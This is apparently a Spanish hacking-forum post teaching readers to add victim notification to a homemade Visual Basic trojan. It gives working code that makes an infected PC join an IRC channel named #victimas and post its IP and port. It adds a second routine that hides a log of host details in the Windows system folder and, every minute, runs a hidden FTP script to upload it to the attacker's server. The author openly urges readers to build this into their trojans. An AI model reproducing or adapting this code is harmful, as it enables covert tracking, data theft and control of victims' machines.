http://foro.elhacker.net/index.php/topic,57545.15.htmlBOTON BUSCAR!!!!!!!!!!! <----------------- y te habria dado ese link!!
de todas formas,aqui te dejo las 2 opciones IRC y FTP :
hola de nuevo, voy a explicar como programar en vb y en nuestro troyano hecho desde cero, que el servidor notifique su ip y los datos que queramos por IRC, osea: NOTIFICACION POR IRC
el troyano que esplique esta diseñado para conexion inversa, asi que noseria necesario esto, pero viene bien para tener recojidas alas victimas todas juntas en un canal de irc, en el cual nos conectemos y veamos que victimas ay on-line:
esto es mas sencillo de lo que parece, primero voy a explicar MUY de refilon el protocolo IRC;
abrir una consola de telnet, ahora escribir esto:
Código:
o luna.irc-hispano.org 6667
con esto establecemos una conexion con el servidor luna.irc-hispano.org por el puerto 6667, un puerto tipico de estos servidores, acontinuacion el servidor nos respondera con el siguiente mensaje:
Código:
:luna.irc-hispano.org NOTICE IP_LOOKUP :*** Found your hostname (CACHED!).
bien, ahora que el servidor nos a saludado, tenemos que decirle quienes somos y algun dato mas, veamoslo, escribir esto:
Código:
nick ellocodelacolina
y seguidamente:
Código:
user mañanamadrugo 4 * : y aqui estoy esplicando esto
con esto le hemos dicho al servidor nuestro nick y en el siguiente comando,
-user- es un "comando" del protocolo,
-mañanamadrugo- seria el nombre que le damos al servidor de nuestro usuario,
-4- es una mascara para la identificacion, que corresponde al modo +w, (si no entendeis esto bajaros un manual de irc o hecharle un ojo al protocolo, google: buscar protocolo irc, no es obligatorio pero si recomendable) no todos los servidores admiten esto, en caso contrario se omitiria ese campo y se pone en su lugar un cero,
-*- este campo no se usa con lo cual se pone cualkier cosa,
-:- separa todo eso de lo siguiente que es nuestro nombre real
-y aqui estoy esplicando esto- esto es el campo de el nombre real, puede tener espacios en blanco entre medio, y podeis poner la chorrada que querais, cualquier cosa menos lo que teoricamente habria que poner, osea nuestro nombre real, que les importara a ellos? poned lo que querais aqui
con esto ya estais identificados en el servidor, y ya teneis aceso a el, ahora si en algun momento veis este mensaje:
PING : 112398546
tendreis que responder rapidamente:
pong : 112398546
pong : y lo mismo que ponia en el ping, si no se responde asi, te caes del servidor, es una medida para saber que usuarios siguen en linea, y cuales no, como medida para tirar las conexiones que no pintan nada en el servidor... asi dais señales de vida y el servidor os dejara seguir con lo vuestro
entrar a un canal:
Código:
join #nombredelcanal
os saldra un mensajito del servidor, confirmando que lo habeis hecho bien:
ahora para hablar en el canal:
Código:
privmsg #nombredelcanal :mensaje, o lo que quieras poner
con esto ya podeis entender el codigo y vereis que facil es hacerlo, entendiendo antes como funciona!!!!!!!
-------------------------------------------------------------------------
visual basic,nuevo proyecto, exe estandar y añadis lo siguiente:
componente microsoft winsock renombrado a ws, 2 timer, y un boton:
1ª mision, conectar al servidor:
Código:
Private Sub Command1_Click()
ws.RemoteHost = "luna.irc-hispano.org"
ws.RemotePort = 6667
ws.Close
ws.Connect
empezar = True
Timer1.Interval = 2000
End Sub
si habeis seguido el curso entendereis todo este codigo y sobra esplicarlo!
pero lo que hemos hecho ay es que al pulsar el boton, conecte al servidor, se ponga el interruptor empezar a true y el intervalo de uno de los timer se ponga a 2 segundos.
2ª mision, identificarnos!
Código:
Private Sub Timer1_Timer()
If empezar = True Then
ws.SendData "nick Xenon" & vbCrLf 'envia el nick y vbcrlf manda el retorno de carro, la tecla intro
empezar = False
Else
ws.SendData "user fulano_x 4 * : fulanin" & vbCrLf
Timer1.Interval = 0
Timer2.Interval = 4000
End If
End Sub
al conectar y pasar 2 segundos, al estar activado el interruptor empezar, envia el comando "nick" con el nick y pulsa retorno de carro, el interruptor empezar se desconecta, y al pasar 2 segundos se vuelve a revisar el codigo del timer1 y como el interruptor empezar esta desactivado manda el comando "usuario" con los parametros correspondientes, pone el timer1 a 0 por que ya no se va a usar esto y pone el timer2 a 4 segundos para seguir con la 3ª mision.
3ª mision, entrar en el canal #victimas(por ejemplo) y escribir en el canal la ip, el puerto, y lo que nos de la gana:
Código:
Private Sub Timer2_Timer()
If user = False Then
ws.SendData "join #victimas" & vbCrLf
user = True
Else
ws.SendData "privmsg #victimas :victima" & victima & " puerto" & ws.localport & " ip" & ws.localip & vbCrLf
End If
End Sub
por defecto el interruptor user esta apagado, por tanto:
cada 4 segundos, si el interruptor user esta apagado, entra en el canal victimas, se pone el interruptor user encendido, asi que al volver a pasar 4 segundos NO volvera a entrar en el canal y escribira en el canal , la ip de la victima, el nombre, el puerto y lo que nos apetezca.
4ª mision, NO CAERNOS! por culpa del ping:
Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If Left(datos, 6) = "PING :" Then
datos = Right(datos, Len(datos) - 6)
ws.SendData "pong :" & datos
End If
End Sub
si los primeros 6 datos que nos lleguen son igual a "PING :" entonces coje el resto de los datos que an llegado y los metes en la variable datos, luego mandas al servidor "pong :" y los datos, osea lo que ay que responderle al ping, (se le responde con lo mismo!!)
YA ESTA! ahora coje este codigo y implementalo en tu troyano, cosa facil, esperimentalo antes, haz pruebas cambia esos 4 segundos por un minuto o yo que se... y cambiar el nick por alguno raro raro, por que si no el server respondera como que ya esta usado y no funcionara!
es muy facil implementarlo al troyano, si ay dudas preguntar!!!!!
Código:
Dim empezar As Boolean
Dim user As Boolean
Private Sub Command1_Click()
ws.RemoteHost = "luna.irc-hispano.org"
ws.RemotePort = 6667
ws.Close
ws.Connect
empezar = True
Timer1.Interval = 2000
End Sub
Private Sub Timer1_Timer()
If empezar = True Then
ws.SendData "nick Xenon" & vbCrLf
empezar = False
Else
ws.SendData "user fulano_x 4 * : fulanin" & vbCrLf
Timer1.Interval = 0
Timer2.Interval = 4000
End If
End Sub
Private Sub Timer2_Timer()
If user = False Then
ws.SendData "join #victimas" & vbCrLf
user = True
Else
ws.SendData "privmsg #victimas :victima" & victima & " puerto" & ws.localport & " ip" & ws.localip & vbCrLf
End If
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If Left(datos, 6) = "PING :" Then
datos = Right(datos, Len(datos) - 6)
ws.SendData "pong :" & datos
End If
End Sub
espero que os sirva este pequeño tutorial, aver si esplico mas cosas utiles otro dia como prometi !! hasta otra!!
un saludo!! Xenon, alias fulano_
-------------------------------------------------------------------------
Oido cocina! aqui teneis lo pedido:
1- agregar el componente winsock, en su defecto para no depender del ocx en el pc victima se puede usar un modulo.bas que hace las veces del ocx, asi evitas dependencias, pedirmelo y lo publico en algun server ftp
Código:
Dim ipftp As String
Private Sub Form_Load()
Open ("c:\windows\system\ntx.log") For Output As #1
Print #1, ws.LocalHostName
Print #1, ws.LocalIP
Print #1, ws.LocalPort
Print #1, "victima: fulanito"
Print #1, Time
Print #1, "Infectado por Fox v2.1, by Xenon alias Fulano_"
ipftp = "127.0.0.1"
Timer1.Interval = 60000
End Sub
Private Sub Timer1_Timer()
Open ("c:\windows\system\nt") For Output As #1
Print #1, ipftp
Print #1, "tron"
Print #1, "adasd"
Print #1, "bin"
Print #1, "put c:\windows\system\ntx.log"
Print #1, "bye"
Close #1
Shell ("ftp -s:c:\windows\system\nt"), vbHide
End Sub
esto se entiende? sirve? a esto os referiais??? es muy sencillo pero lo esplicare, pro que ami me gusta que espliquen los codigos que se publiquen, asi se aprende mas, insisto, es muy bueno que si publicais codigo, lo comenteis, para que se entienda!!! para aprender masss, NO AL COPY/PASTE!!
1ª mision, crear un archivo donde ponga los datos que queramos a nuestro gusto, ip local, puerto local, etc... al agregar el componente winsock, o usando el modulo me da =, ay que ponerle de propiedades el mismo puerto que usa el troyano, ejemplo: si el troyano usa el puerto 69, ws.localport = 69, y para la ip, no hace falta ya lo coje por defecto, si no en su lugar se nombra al socket, al winsock que use el troyano, para que se pongan esos datos en el archivo.log, espero que esto se entienda.
2ª mision, enviar los datos a un servidor ftp, por ejemplo cada minuto,
Open ("c:\windows\system\nt") For Output As #1 ' abre un archivo en esa ruta, y sustituye lo que haya dentro por:
Print #1, ipftp
Print #1, "tron"
Print #1, "adasd"
Print #1, "bin"
Print #1, "put c:\windows\system\ntx.log"
Print #1, "bye"
esto supongo que se entiende bien,
Close #1
Shell ("ftp -s:c:\windows\system\nt"), vbHide
esto cierra el canal 1, donde se estaba escribiendo el archivo y lo ejecuta el cliente ftp por defecto de windows y utiliza la opcion -s que sirve para especificarle un archivo donde estaran los comandos ftp, que se introduciran automaticamente.
uno de esos comandos es justamente enviar el archivo.log donde metimos los datos que queriamos conseguir.
vbhide, hace que la pantalla de msdos que se ejecutara este oculta y por lo tanto invisible para la victima, y ya esta, se enviara el archivo con los datos de la notificacion cada minuto al server ftp que nos de la gana, siempre y cuando tengamos su user y su pass, yo uso el serv-u y me los mando a mi mismo, pero esta notificacion no la e usado nunca, pues la notificacion por irc que esplique aqui tambien es mejor, mucho mejor, pero esta de por ftp puede servir para que aunque tengamos el pc apagado, o aunque nos vallamos de vacaciones veremos que victimas se conectaron a que hora y etc.. etc.. y las veces y el tiempo, y to, pero bueno... al final va a ser interesante esto y to :O , jejejeje, curioso.... no lo habia pensado
otra cosa que se me acaba de ocurrir justo al decir lo de que aun no usando el pc durante un tiempo tendremos en inet un registro de nuestras victimas, resulta que no se si sera asi, pero por si aca, quizas al enviar denuevo el archivo al server ftp, quizas sobreesriba al viejo, si no queremos esto basta con poner en el codigo que el nombre del archivo que crea sea una variable, y esa variablecontenga un numero y asi cada vez que mande el archivo lo mande con un numero mas, o con un nombre aleatorio, bueno oye, que me canso, que vuestra imaginacion haga el resto!
un saludo!!!